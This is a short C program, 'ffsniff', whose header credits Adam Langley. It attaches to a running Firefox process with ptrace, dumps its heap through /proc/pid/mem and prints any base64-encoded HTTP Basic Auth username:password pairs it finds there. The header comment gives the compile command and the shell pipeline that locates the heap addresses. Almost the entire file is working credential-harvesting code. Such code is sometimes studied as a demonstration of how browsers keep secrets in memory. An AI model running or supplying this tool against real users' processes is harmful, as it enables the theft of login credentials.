/* ffsniff: Adam Langley * * This is a very dumb and simple program to extract passwords from the memory * of a running firefox process. It only finds HTTP Basic Auth passwords, e.g. * ones which you type in in a dialog box, not anything which you type in a * webpage and which use cookies. * * Compile with: gcc -o ffsniff ffsniff.c -Wall -std=c99 * * The arguments are: * < pid of firefox-bin process > * < starting address of the heap > * < ending address of the heap > * * You can find the first argument by running * % pidof firefox-bin * * And you can get the second two by running: * % cat /proc/$(pidof firefox-bin)/maps | grep '\[heap\]' | cut -d' ' -f1 | tr '-' ' ' * * If any passwords are found they will be printed in the form: * username:password * * Not all results will be valid, it might not find all passwords and the same * username password pair will probably be listed multiple times if it exists * multiple times in memory. */ #define _FILE_OFFSET_BITS 64 #define _GNU_SOURCE #include #include #include #include #include #include #include #include #define u32 uint32_t #define u8 uint8_t #define BAD -1 static const char base64val[] = { BAD,BAD,BAD,BAD, BAD,BAD,BAD,BAD, BAD,BAD,BAD,BAD, BAD,BAD,BAD,BAD, BAD,BAD,BAD,BAD, BAD,BAD,BAD,BAD, BAD,BAD,BAD,BAD, BAD,BAD,BAD,BAD, BAD,BAD,BAD,BAD, BAD,BAD,BAD,BAD, BAD,BAD,BAD, 62, BAD,BAD,BAD, 63, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61,BAD,BAD, BAD,BAD,BAD,BAD, BAD, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25,BAD, BAD,BAD,BAD,BAD, BAD, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51,BAD, BAD,BAD,BAD,BAD BAD,BAD,BAD,BAD, BAD,BAD,BAD,BAD, BAD,BAD,BAD,BAD, BAD,BAD,BAD,BAD, BAD,BAD,BAD,BAD, BAD,BAD,BAD,BAD, BAD,BAD,BAD,BAD, BAD,BAD,BAD,BAD, BAD,BAD,BAD,BAD, BAD,BAD,BAD,BAD, BAD,BAD,BAD,BAD, BAD,BAD,BAD,BAD, BAD,BAD,BAD,BAD, BAD,BAD,BAD,BAD, BAD,BAD,BAD,BAD, BAD,BAD,BAD,BAD, BAD,BAD,BAD,BAD, BAD,BAD,BAD,BAD, BAD,BAD,BAD,BAD, BAD,BAD,BAD,BAD, BAD,BAD,BAD,BAD, BAD,BAD,BAD,BAD, BAD,BAD,BAD,BAD, BAD,BAD,BAD,BAD, BAD,BAD,BAD,BAD, BAD,BAD,BAD,BAD, BAD,BAD,BAD,BAD, BAD,BAD,BAD,BAD, BAD,BAD,BAD,BAD, BAD,BAD,BAD,BAD, BAD,BAD,BAD,BAD, BAD,BAD,BAD,BAD, }; #define DECODE64(x) base64val[x] int from64tobits(char *out, const char *in) { int len = 0; register unsigned char digit1, digit2, digit3, digit4; if (in[0] == '+' && in[1] == ' ') in += 2; if (*in == '\r') return(0); do { digit1 = in[0]; if (DECODE64(digit1) == BAD) return(-1); digit2 = in[1]; if (DECODE64(digit2) == BAD) return(-1); digit3 = in[2]; if (digit3 != '=' && DECODE64(digit3) == BAD) return(-1); digit4 = in[3]; if (digit4 != '=' && DECODE64(digit4) == BAD) return(-1); in += 4; *out++ = (DECODE64(digit1) << 2) | (DECODE64(digit2) >> 4); ++len; if (digit3 != '=') { *out++ = ((DECODE64(digit2) << 4) & 0xf0) | (DECODE64(digit3) >> 2); ++len; if (digit4 != '=') { *out++ = ((DECODE64(digit3) << 6) & 0xc0) | DECODE64(digit4); ++len; } } } while (*in && *in != '\r' && digit4 != '='); return (len); } int main(int argc, char **argv) { const int pid = atoi(argv[1]); const u32 start = strtoul(argv[2], NULL, 16); const u32 end = strtoul(argv[3], NULL, 16); ptrace(PTRACE_ATTACH, pid, NULL, NULL); char *path; asprintf(&path, "/proc/%d/mem", pid); const int fd = open(path, O_RDONLY); free(path); u8 *buffer = (u8 *) malloc(end - start); pread(fd, buffer, end - start, start); ptrace(PTRACE_DETACH, pid, NULL, NULL); u8 b64buffer[128]; int head = 0; const int buffer_length = end - start; for (int i = 0; i < buffer_length; ++i) { if (base64val[buffer[i]] == BAD) { const int len = i - head; if (len >= 8 && len < 50) { buffer[i] = 0; const int dlen = from64tobits((char *) b64buffer, (char *) &buffer[head]); if (dlen) { int colons = 0; int valid = 1; for (int j = 0; j < dlen; ++j) { if (b64buffer[j] < ' ' || b64buffer[j] > 128) { valid = 0; break; } if (b64buffer[j] == ':') colons++; } if (valid && colons) { write(1, (char *) b64buffer, dlen); write(1, "\n", 1); } } } head = i + 1; } } return 0; }